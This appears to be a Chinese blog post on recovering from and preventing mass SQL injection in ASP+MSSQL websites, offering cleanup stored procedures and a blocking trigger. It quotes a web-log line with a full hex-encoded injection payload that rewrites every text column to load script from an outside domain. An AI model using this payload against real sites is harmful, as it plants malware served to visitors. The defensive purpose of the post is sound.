MSSql注入的清理及防范

asp+mssql开发的网站如果对get/post参数处理不好，很容易被注入，在数据库中插入类似<script src=....></script>和<iframe src=... width=0 height=0></iframe>的病毒或木马代码，使得访问该站点的访问者访问时运行该代码。

查看被注入的web日志可以发现形如下面的日志信息

news_id=674;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);-- 

使用如下sql存储过程清理被注入的木马等恶意程序代码:

SET QUOTED_IDENTIFIER OFF 
GO
SET ANSI_NULLS OFF 
GO


Create proc [dbo].[ReplaceKeyWord]

@old nvarchar(100),

@new nvarchar(100)

as

declare @sql nvarchar(1000)

set @sql=N' 

declare   @s   nvarchar(4000),@tbname   sysname 

select   @s=N'''',@tbname=N''?'' 

select   @s=@s+N'',''+quotename(a.name)+N''=replace(''+quotename(a.name)+N'',N'''''+@old+''''',N'''''+@new+''''')'' 

from   syscolumns   a,systypes   b 

where   a.id=object_id(@tbname)    

and   a.xusertype=b.xusertype 

and   b.name   like   N''%char'' 

if   @@rowcount>0 

begin 

set   @s=stuff(@s,1,1,N'''') 

exec(N''update   ''+@tbname+''   set   ''+@s) 

end '

--print @sql

exec   sp_msforeachtable   @sql;

set @sql=N' 

declare   @s   nvarchar(4000),@tbname   sysname 

select   @s=N'''',@tbname=N''?'' 

select   @s=@s+quotename(a.name)+N'',''

from   syscolumns   a,systypes   b 

where   a.id=object_id(@tbname)    

and   a.xusertype=b.xusertype 

and   b.name   like   N''%text'' 

if   @@rowcount>0 

begin 

exec UpdateTextColumn @tbname,@s,'''+@old+''','''+@new+'''

end

' ;

exec   sp_msforeachtable @sql

GO
SET QUOTED_IDENTIFIER OFF 
GO
SET ANSI_NULLS ON 
GO

SET QUOTED_IDENTIFIER OFF 
GO
SET ANSI_NULLS OFF 
GO


CREATE proc [dbo].[UpdateTextColumn]

@Table varchar(100),

@Columns varchar(200),--eg:Column1,Column2,

@old varchar(100),

@new varchar(100)

as

    set nocount on

    declare @sql nvarchar(2000)

    declare @Column varchar(50)

    declare @cpos int,@npos int

    set @cpos=1;

    set @npos=1;

    set @npos=charindex(',',@Columns,@cpos);

    while(@npos>0)

    begin

        set @Column = substring(@Columns,@cpos,@npos-@cpos);

        set @cpos = @npos+1

        set @npos=charindex(',',@Columns,@cpos);

        

        set @sql = 'update '+@Table+' set '+@Column+'=replace(cast('+@Column+' as varchar(8000)),@old,@new) where Datalength('+@Column+')<=8000';

        EXECUTE sp_executesql @Sql,

                           N'@old varchar(100),@new varchar(100)',

                           @old,

                           @new

        declare @ptr binary(16) ,@offset int,@dellen int

        

        set @dellen = len(@old)

        

        set @offset = 1

        while @offset>=1

        begin

            set @offset = 0

            set @sql = 'select     top 1 @offset = charindex('''+@old+''' , '+@Column+'), @ptr = textptr('+@Column+') from '+@Table+' where Datalength('+@Column+')>8000 and '+@Column+' like ''%'+@old+'%''';

            EXEC sp_executesql @Sql,N'@offset int OUTPUT,@ptr binary(16) OUTPUT,@old varchar(100)',

                               @offset OUTPUT,@ptr OUTPUT,@old;

           if @offset > 0

            begin

                set @offset = @offset-1

                set @sql='updatetext '+@Table+'.'+@Column+' @ptr @offset @dellen @new';

                EXEC sp_executesql @Sql,N'@offset int ,@ptr binary(16),@dellen int,@new varchar(100)',@offset,@ptr,@dellen,@new;

            end 

        end

end

GO
SET QUOTED_IDENTIFIER OFF 
GO
SET ANSI_NULLS ON 
GO

使用方法:

exec ReplaceKeyWord '需要替换的字符','替换成的新字符'
exec ReplaceKeyWord '<iframe src=... width=0 height=0></iframe>',''

上面的语句执行后会将整个数据库中所有的表的所有字段中含有的<iframe src=... width=0 height=0></iframe>替换掉.

对程序参数进行严格的类型判断配合通用防注入程序(网上可以找到)，一般就不会出现被注入的情况了，如果仍然不可以的话，可以在MSSQL里加如触发器对插入的内容进行限制。
例如：

CREATE TRIGGER [delscript_danwei] ON [dbo].[danwei] 
FOR INSERT, UPDATE
AS
begin
 declare @scontent as nvarchar(4000)
  
  select @scontent=title+content from inserted
  if CHARINDEX('<script',lower(@scontent))>0   or CHARINDEX('<iframe',lower(@scontent))>0  
   begin
    RAISERROR ('危险脚本', 16, 1)
                             ROLLBACK 
   end

end

上面的触发器是在danwei表上加的限制在title和content字段插入类似<script....../scrip>和<iframe....../iframe>字符的，如果插入或更新的内容含有类似字符，系统会执行回滚，信息不会被插入或更新。一般情况下很多注入都是通过程序自动完成的，所以用触发器能起到一定的防范作用。